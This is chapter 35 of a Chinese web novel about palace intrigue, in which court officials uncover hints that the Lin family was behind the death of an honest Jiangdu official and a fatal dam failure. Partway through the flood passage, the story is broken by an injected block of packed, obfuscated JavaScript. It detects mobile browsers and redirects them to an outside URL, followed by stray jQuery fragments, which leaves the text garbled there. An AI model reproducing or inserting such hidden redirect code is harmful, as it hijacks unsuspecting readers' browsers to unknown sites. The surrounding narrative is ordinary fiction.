35. 文世
作品:《月照江川》 待到将丽贵人扶入屋内榻上休息,柔合才出来走向秦怀月:“大人可是有什么事,要来中栖宫一趟?”
秦怀月见丽贵人这副模样,想来也没办法教她学经书,只好言简意赅道明来意。
“我听焕嫔娘娘宫里的小太监说,你曾见过偷林贵妃首饰的贼人,在梅咏宫附近鬼鬼祟祟?”
听是与苏妃娘娘有关,柔合顿了顿,这才点头道:“大人说的没错,那日我依约拿些煤炭,去到苏妃娘娘那处,这才遇上那贼人。”
柔合说完,将托盘里的白水放在秦怀月面前:“娘娘如今这般,中栖宫的俸禄也被林贵妃克扣的差不多,若不是苏妃心善,时常接济中栖宫,娘娘怕不是熬不过这个冬天,还请大人见谅。”
秦怀月想起方才丽贵人的话来,问向对方:“你说林贵妃?我记得刚才丽贵人……”
柔合沉默片刻,对上秦怀月的视线,确认道:“大人公务忙碌,想必不常听宫内这些乱事,娘娘之所以这般……正是因为林贵妃的缘故。”
讲到此处,柔合眼里带了哀伤,捏了捏发旧的衣角:“那日娘娘去了林贵妃那处,本意是请安,结果刚巧……刚巧撞上林大人与娘娘谈些要事。”
柔合叹口气,下定决心道:“我曾经也这般认为,那日接回娘娘之后,她就不如从前那般温和,拉着我的手说林家害死人……之类的事。”
秦怀月皱眉:“……可有说是谁?”
她记得林家的小儿子林高轩,曾经逼良为妾,害死莲娘父亲的事情,难道丽贵人的疯癫,与此事有关?
柔合点点头,却说出一个她始料未及的名字:“娘娘说……是害死了江都推官,文世。”
文世?秦怀月听到这个名字怔愣一会。
她倒是知道此人。
文世是江都当地著名的的清官,彼时她去江都时,就听过不少此人留下的故事。
当地地主乡绅压榨,黎民无处申冤,文世永远都是第一个站出来,用自己名义做担保,升堂来为他们做主。
只可惜天妒英才,据说江都洪涝灾害那年前,文世就因为雨夜骑马奔行,未能看清脚下路况,摔下山崖致死。
时至今日,江都当地百姓每逢祭日,自发前去扫墓,也成为当地流传出的一段佳话。
京中大多数人对于江都的第一印象,就是那里出过这位爱民的廉官。
秦怀月略做思索,朝柔合问道:“此事当真?”
柔合咬着下嘴唇,她不知道该如何确认:“娘娘当日的确是这般说辞,但是否真切……等我想问时,已经说不出了。”
“娘娘像是受了惊吓,自那之后就夜夜做噩梦,偶尔梦魇吟语,说些林贵妃威胁她,要害她家之类。”
柔合担忧的看向秦怀月:“我作为中栖宫的大宫女,自一开始就受恩于娘娘,所以自愿陪伴,只是这宫中人走的走散的散,终究只剩下我与娘娘相依为命。”
秦怀月朝她露出宽慰的笑容:“对丽贵人如此知恩之遇,柔合姑娘令在下敬佩。”
听秦怀月这般说辞,柔合终于愿意朝她微微露出个笑容,转瞬又收了回去:“大人既然来问苏妃的事情,那我就斗胆多说两句。”
“小心林贵妃。”
柔合看向秦怀月的眼睛:“我在宫中这般久,见得腌臜事也不少,我敢笃定,当日林贵妃丢簪之事,就是自导自演。”
秦怀月被这番言论震住:“何以见得?”
柔合咬牙道:“林贵妃在宫中纵横跋扈多年,全都是依仗着林家如今在皇帝面前的地位,才敢如此为非作歹。”
“她殿内下人众多,怎么可能一个两个全都不在?除非是必须要演这么一场戏。”
柔合斟酌几番,还是开口:“大人与六公主交好,想必于苏妃娘娘也有相当情谊,柔合侍在此,没办法与苏妃娘娘报恩,倘若真有个万一,还请大人帮忙。”
秦怀月点点头:“我尽自己所能。”
翰林院外,邓元修拿着奏章来回踱步。
他此番难得入京一趟,特地换上家妻为他置办的一身行头,免得被人看笑话。
虽说时光荏苒,青丝已藏不住白发,但仍被他一丝不苟的束起。
邓元修挺着腰板,仔仔细细将手中奏章翻看几遍,又不满意的摇头,目光看向翰林院门口,面上焦急。
夕日挂在天边,时间已至酉时,门内传来一阵书页翻动之声,隐隐有人彼此嬉笑拜别。
邓元修见陆续有人从红木门里出来,终于欣喜几分,连忙快跑几步走上台阶。
等几人散去,他探头往里,终于看到那副熟悉的面孔。
只是那人也并不急着出来,把手里的案本翻来覆去看了几遍,才敛着神色走出来。
“敢问这位大人,可是方成举之子?”
邓元修欣喜万分,他入京少有同乡帮扶,好不容易进宫,见得方明川这位昔日同僚之子,一时不察泄露出些吴侬方音,混杂在官话里,略略有些蹩脚。
方明川被人直接迎面拦下,略微皱眉,但看清来人后转瞬松懈下来:“邓先生怎么来了?”
邓元修当年与方成举同在江都任职时,范氏重病难愈,他拿自己的俸禄,暗地里接济方家不少,于方家是雪中送碳之恩。
邓元修见方明川认出自己,赫赫笑起来,语气放松起来:“我入京一趟,是就江都水利一事与圣上相报。”
说罢,邓元修拿出手里一直紧攥的奏章与河图,面上带了局促。
“我在江都多年,也不知京中规矩,这才特地找你一趟,也好帮我润色润色,免得届时向圣上禀报时,丢了咱家乡脸面。”
听完邓元修这番肺腑之言,方明川颔首,既然是为此事,倒也不怎么麻烦,将他递过来的奏折与河图拿来细览。
折中是二十年来江都有关水利方面的大小事项,从位置规模,人力资源,施工方案到经费拨款,事无巨细一一俱全。
江都水利事关民生,邓元修在地方勤勤恳恳多年,也正因为这份十年如一日的坚守,才得以经通政司转呈,获得明炆帝召见。
邓元修见他翻开细看,也一并在旁坐下。
方明川略略扫过,将折中一处指给邓元修:“为何令元二十三年间的经费拨款与前些年相差不少,是否错漏所致?”
邓元修看过去,见到这处眯起眼,拉出一道长长皱纹:“当年款项并无错漏,只是当时我只是一任县吏,具体为何……并不知情。”
“不过当时文世先生主管江都水利拨款的缘故,想来不会有错,便无人再议。”
方明川细细看着这处,他还记得,那时江都新修的堤坝,原本是用来防洪减灾,改善航道之用。
只是事有不测风云,那年夏天暴雨倾盆,接连下了有数日,降雨后的江都一片汪洋,本就已将农作物冲溃,堤坝因此决堤,形成缺口,难以封堵直冲下游。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847609|174472||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
当年江都附近的百姓,大多是溺毙在这决堤之祸中。
一旁的邓元修长叹一口气,想到文世这位温和尔雅的同僚,扼腕叹息:“若是文世未出意外,想来也会为此捶胸顿足,悲痛不已。”
方明川盯着河图上标注堤坝的地方,转了转目光。
他借用御史身份调查林家,得以翻阅诸多往日卷宗,倒是被他翻出诸多往事。
其中一位辞官归乡前辈的卷宗中,有提到当年各州郡水利拨款之事,彼时在朝廷内归由林千峰负责。
圣上因为姜州之事,一直对林家轻拿轻放,他只得暗中调查,希望能找些其他突破口,或许这是一处也说不定。
等方明川为他润色好后,邓元修拿起细看,不住的夸赞:“你从小就聪明,跟你父亲一般上进,难怪能在京中混出一副名堂。”
“与你相比,我家那年龄与你相当的儿子,真是不争气!”
邓元修说着说着,转而对着自家儿子一顿数落,方明川只当他是寒暄,礼貌笑过。
“虽说小儿没出息,但自从娶妻之后,也算安稳不少。”
邓元修说完,看向方明川笑道:“方成举在外多年,你母亲去世早,也该早做打算。”
打算吗……
方明川偏过头去,突然想到那晚秦怀月耳边的明月珰。
月白珠子映着烛火,随着她身体微晃,晃荡的心都跟着摇起来。
……
秦怀月从宫里出来之后,天已经黑透,想来回府也赶不上晚膳,便让穆青带她去五湖春,找柳老板为她下碗面垫垫肚子。
柳迟卿知道她的口味,特地亲自做了送来,又为她添个荷包蛋,稳稳放在她面前。
秦怀月拿起筷子,青花碗里的细面离开清汤汁,香油点滴缠在面上,有相当诱人的光泽,少盐又鲜口,吸溜溜就能吃上好些。
秦怀月美滋滋吃着,柳迟卿突然坐她对面,吓得她差点咬到舌头。
“怎,怎么了?”
“最近你那位修撰大人有段时间不来,你知道原因吗?”
听她这样问,秦怀月摇摇头。
柳迟卿看她毫无知觉继续吃面,一副没心没肺的样子,忍不住出声:“你没觉得奇怪吗?”
“奇怪什么?”
“方明川啊!”柳迟卿提高音量道。
对方声音大了些,吓秦怀月一跳,差点没夹住面,看她一脸认真,只得放下筷子悻悻道:“你说他吗,太忙没空来吧?”
“我没问这个。”柳迟卿勾起涂了口脂的嘴角,朝她露出神秘的笑:“你可知城东城隍庙王家?”
秦怀月点头,不就是做烟火的手艺王家嘛,平日京中盛典都会找他家买烟火来放:“他家怎么了?”
“那家的王怀英,前阵子刚与穆家女儿成婚,现在正蜜里调油呢。”
柳迟卿将双臂搭在桌面上,鬓角的发丝微微摇荡:“京中谁不知王怀英与穆姑娘好友多年,如今修成正果,羡慕了不少人,这情之一字果真玄之又玄~”
秦怀月听原来是这回事,点头笑道:“我曾听府上嬷嬷讲过穆姑娘,说她虽家境贫寒,但勤快又上进,果不其然嫁的不错。”
柳迟卿本想用这个例子点点她,哪成想她这样回答,没忍住咧起嘴来,她现在可算知道怎么连方明川都拿她没辙了。
这姑娘简直就是块山间石头,任尔东西南北风,她自岿然不动。